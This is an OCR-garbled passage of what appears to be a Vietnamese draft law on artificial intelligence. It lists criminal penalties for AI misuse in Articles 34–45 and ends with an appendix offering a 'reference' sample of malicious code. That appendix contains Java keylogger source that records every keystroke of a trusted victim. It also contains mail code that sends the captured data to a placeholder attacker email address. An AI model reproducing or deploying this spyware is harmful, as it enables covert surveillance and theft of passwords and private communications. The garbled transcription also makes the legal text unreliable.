Picu 34. Toi sit dung TTNT hoidic sin pham TTNT dé xim pham chi
quyén, lgi ich, an ninh qudc gia

Nguoi nao st dung TTNT hodc san pham TTNT dé xam pham chi quyén, loi ich,
an ninh quéc gia, thi bi phat ti tir 12 dén 20 nam, ti chung than hodc tir hinh.

Piéu 35. Toi sitr dung TTNT hodc sin pham TTNT xAm pham bi mit, an
toan thu tin, dién thoai, dién tin hoic hinh thirc trao doi thong tin riéng tw

Nguoi ndo stt dung TTNT hodc san pham TTNT x4m pham bi mat, an toan thu tin,
dién thoai, dién tin hoac hinh thirc trao ddi thong tin riéng tu cia ngudi khac, thi bi phat
tién tir 50.000.000 dong dén 100.000.000 ddng hodc bi phat i tir 05 dén 10 nam.

Picu 36. Tdi ché tao, san xuat TTNT hoiic sain pham TTNT c6 kha ning tw
tao ra cac vit liéu c6 thé 1ap trinh

Ngudi nao ché tao, san xuat TTNT hodc san phém TTNT c6 kha nang tu tao ra cac

vat liéu c6 thé lap trinh, thi bi phat tu tir 10 dén 20 nam.
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Piéu 37. Toi ché tao TINT hodc sain phAm TTNT khong cé gidy phép
thanh l4p co sé ché tao

1. Nguodi nao thuc hién hoat dong ché tao TTNT hodc san phém TTNT ma
khong c6 gidy phép thanh 1ap co sd ché tao, thi bi phat tién tir 200.000.000 dong dén
500.000.000 ddng hoic phat cai tao khong giam giit dén 02 nim.

2. Hinh phat b6 sung: Tich thu phwong tién 1a cong cu, may méc va vat khac
dugc st dung dé ché tao TTNT hodc san phém TTNT.

Piéu 38. Toi san xuét san phAm TTNT trai quy dinh phap luit

1. Nguodi nao thyc hién mot trong cac hanh vi sau day, thi bi phat tién tur
200.000.000 ddng dén 500.000.000 ddng hoic bi phat t tir 05 dén 10 nam:

a) San xuét san pham TTNT chua dugc cong nhan;

b) San xuit san phAm TTNT d3 duoc cong nhan nhung khong c6 Gidy phép san
xuét;

C) San xuét san pham TTNT khong dung nhu ndi dung gidy phép.

2. Pham t6i mot trong cac trudong hop sau day, thi bi phat tu tir 07 dén 12 nam:

a) Pham to1 02 lan tré lén;

b) C6 t6 chuc;

c) Gay anh huong x4u dén an ninh trat tu, trt tu, an toan xa hoi;

d) T4i pham nguy hiém.

Pi¢u39.  T§i thay doi lap trinh, thiét ké ciia TTNT hodc san pham TTNT
khi chwa dwoc sw cho phép ciia co quan nha nwéce c6 thim quyén

1. Nguoi nao thay doi 1ap trinh, thiét ké cua TTNT hodc san phém TTNT khi
chua duoc sy cho phép cta co quan nha nudc co tham quyén, thi bi phat canh céo, phat
tién tir 20.000.000 dong dén 50.000.000 ddng hodc phat cai tao khong giam giir dén 03
nam.

2. Pham t6i mot trong cac trudng hop sau ddy, thi bi phat ti tir 07 &én 12 nam:

a) Pham t6i 02 1an tr& 1én;

b) C6 tb chirc;

c) Gay anh huong x4u dén an ninh trat tu, trat tu, an toan xa hoi;

d)  Tai pham nguy hiém.

Pitu 40.  Toi thiéu trach nhiém kiém soat TTNT hoic san pham TTNT gay

hiu qua nghiém trong

16



Nguoi nao dé TTNT hoic san phém TTNT vuot khoi su kiém soat cta con nguoi
gy hau qua nghiém trong, thi bi phat t tir 12 dén 20 nim hodc ti chung than.

Pitu41l.  Toi c¢6 y dé TTNT hodc san pham TTNT xdm pham dén tinh
mang con nguoi

Nguoi ndo dé& TTNT hodc san pham TTNT xdm pham dén tinh mang con ngudi,

thi bi phat tu tur 15 dén 20 nam, to chung than hodc tur hinh.

Piéu 42. Tdi ché tao, san xuit, sit dung TTNT hoic sian pham TTNT nham
muc dich khiing bd, chdng lai loai nguoi, va gay tdi 4c chién tranh

Nguodi nao ché tao, san xuét, su dung TTNT hodc san phém TTNT nham muc dich
khung bé, chdng lai loai ngudi va gy toi 4c chién tranh, thi bi phat tu tir 10 dén 20 nim,
tu chung than hodc tir hinh.

Diéu 43. Tdi thiéu trach nhiém trong viéc phéi hop véi cac co quan, té chirc
khi tham gia rng phé, khic phuc hau qua do TTNT va sin pham TTNT gy ra

1. Nguoi nao thiéu trach nhiém trong viéc phdi hop véi cac co quan, to chic khi
tham gia ung pho, khéc phuc hau qua do TTNT hoac san phém TTNT gay ra, thi bi phat
tién tir 50.000.000 ddng dén 500.000.000 dong, phat cai tao khong giam giit dén 03 nim
hodc phat tu tir 02 nam dén 07 nam.

2. Pham toi thudc mot trong cac truong hop sau ddy, thi bi phat tién tur
500.000.000 ddéng dén 2.000.000.000 ddng hoic phat ti tir 05 nim dén 10 nam:

a) Lam chét nguoi;

b)  Gay thiét hai tir 3.000.000.000 déng dén dudi 7.000.000.000 dong.

3. Pham t6i thuoc mot trong cac truong hop sau day, thi bi phat tu tr 10 nam
dén 15 nam:

a) Lam chét 02 nguoi tro 1én;

b)  Gay thiét hai vé tai san 7.000.000.000 dong trd 1én.

Piéu 44.  Toi tron thué

1. Nguoi ndo ché tao, san xuat TTNT hodc san pham TTNT ma thyc hién mot
trong cac hanh vi trén thué voi sé tién tir 100.000.000 ddng dén dudi 300.000.000 dong,
thi bi phat tién tir 100.000.000 dong dén 500.000.000 dong hodc phat tii tir 03 thang dén
02 nam.

2. Pham t01 thudc mot trong cac truong hop sau day, thi bi phat tién tur

500.000.000 d6ng dén 1.500.000.000 déng hoidc phat ti tir 01 nim dén 03 nam:
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a)  C6to chic;

b)  Sb tién trén thué tir 300.000.000 dong dén dudi 1.000.000.000 dong;

C) Loi dung chitc vu, quyén han;

d) Pham t6i 02 1an tr& 1én;

e) T4i pham nguy hiém.

3. Pham t6i trén thué véi so tién 1.000.000.000 dong trd 1én, thi bi phat tién tir
1.500.000.000 dong dén 4.500.000.000 dong hodc phat tu tir 02 ndm dén 07 nim.

Piéu 45. Pham vi chiu trach nhiém hinh sy ciia to chirc

T chirc pham t01 phai chiu trach nhiém hinh sy vé toi pham quy dinh tai mot trong

cac didu 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 va 44 clia Luat nay.

Chwong VI: PHU LUC
MAU MA LENH PANH CAP DU LIEU

(Tham khao)

Theo khoan 6, Piéu 7, TTNT hoic san pham TTNT c6 kha nang lap trinh ciac ma
1énh véi cac chirc nang nham muc dich tan cong hé thong thong tin.

Pé tai xin dua ra mét miu ma doc co chirc nang danh cép dit liéu dé lam tu liéu
tham khao cho Luat Tri tué nhan tao.

1. Tinh hudng gia dinh:

Ké xdu X muén ldy tit ca thong tin va lién lac trén may tinh ctia mot ngudi quan
trong Y.

Ké xau X 1a ngudi quen biét v6i ngudi Y nén nguoi Y rat tin twong va khong canh
giac.

Ké xau X 13 nguoi biét 1ap trinh c6 thé xay dung mot chuwong trinh bang ngdn ngi
Java.

Ké x4u X muon may tinh hodc vo tinh doan dugc mat khéau dé truy cdp vao may
tinh c4 nhan cta nguoi Y va cai dat chuong trinh ndy 1én va bat dau chay ngam va tu
dong.

2. Muc dich thyc hién:

a) Theo doi, luu trit hét tit ca phim gd khi ngudi ding Y g6 trén méy tinh ciia minh;
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b) G tat ca thong tin thu thap dugc vé email ciia ngudi X
3. Poan mai Iénh ldy thong tin viét bang ngén ngir 1ap trinh Java

// BAT BAU SU DUNG CAC THU VIEN CO SAN CUA JAVA
import java.io.FileInputStream;
import java.io.lOException;
import java.io.InputStream,;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Properties;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
import org.jnativehook.GlobalScreen,;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/I S DUNG LOP NativeKeyListener CUA JAVA HO TRQ
// DE THEO DOI CAC PHIM GO
public class KeyLogger implements NativeKeyListener {
String configFilePath = null;
Logger logger = null;
FileHandler fileHandler = null;
SimpleFormatter simpleFormatter = null;
InputStream inputStream = null;
Properties properties = null;
Path currentRelativePath = null;
public KeyLogger() throws |OException {
// DOAN MA KHOI TAO BOI TUONG PE LUU THONG TIN VAO FILE
logger = Logger.getLogger("Key Log");
currentRelativePath = Paths.get("");
inputStream = new FilelnputStream("Config.properties");
properties = new Properties();
properties.load(inputStream);
configFilePath = properties.getProperty("FilePath");
fileHandler = new FileHandler(configFilePath);
logger.addHandler(fileHandler);
simpleFormatter = new SimpleFormatter();
fileHandler.setFormatter(simpleFormatter);

}

/I PHUONG THU'C NAY KICH HOAT KHI MOT PHIM Bl NHAN

@Override

public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
// LU PHIM BAM VAO FILE
logger.info("Phim da bam: " +

NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()));

}

@Override

public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {

}
@Override

public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {

}
/I HAM KHO'1 BONG CHAY CHUONG TRINH

public static void main(String arguments[]) throws IOException, NativeHookException
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// DANG KY BE QUAN SAT CAC PHIM BAM
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new KeylLogger());

}
} . , ‘
4. Poan ma Iénh giri mail dir li€éu danh cap dwge vé cho ngwdi X bang ngon
ngir 1ap trinh Java
Phia sau dau // 1a 161 cht thich cho ting doan ma 1énh
// BAT DAU GOI THU VIEN CODE CO SAN CUA NGON NGU JAVA
import java.util.Properties;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class SendMail {
public static void main(String[] args) throws Exception {
/I CAC THONG TIN CAU HINH SERVER EMAIL BE GUI MAIL
/I KE X CO THE TIEP CAN DICH VU MOT CACH DE DANG
Properties props = System.getProperties();
props.put("mail.transport.protocol”, "smtp");
props.put("mail.smtp.port", 587);
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.auth", "true");
I/l KHO'I BONG PHIEN LAM VIEC BE GUI MAIL
Session session = Session.getDefaultinstance(props);
// TAO THONG DIEP MAIL
MimeMessage msg = new MimeMessage(session);
msg.setFrom(new InternetAddress(FROM, FROMNAME));
msg.setRecipient(Message.RecipientType.TO, new InternetAddress(
"EMAIL-CUA-KE-XAU-X@GMAIL.COM"));
msg.setSubject("TIEU BDE EMAIL"); //
msg.setContent("THONG TIN THU THAP BU'QC BE O BAY", "text/html");
msg.setHeader("X-SES-CONFIGURATION-SET", CONFIGSET);
Transport transport = session.getTransport();
try {
/I KET NOI TO'I SERVER CHUYEN GU'I MAIL
transport.connect(HOST, SMTP_USERNAME, SMTP_PASSWORD);
/I GUI MAIL VOI THONG TIN LAY BUQC TOI MAIL CUA KE X
transport.sendMessage(msg, msg.getAllRecipients());
} catch (Exception ex) {} finally {
transport.close();
}
}
}

Béng cach két hop 2 doan ma 1énh trén, 1ap trinh vién co6 thé tao ra nhiéu chuong
trinh nguy hiém nhu luu trit théng tin ngudi ding Y nhap tir ban phim vao moét file
va dinh ky gui thong tin nay vé email cia minh dé phan tich dir liéu phuc vu cho

muc dich xau.
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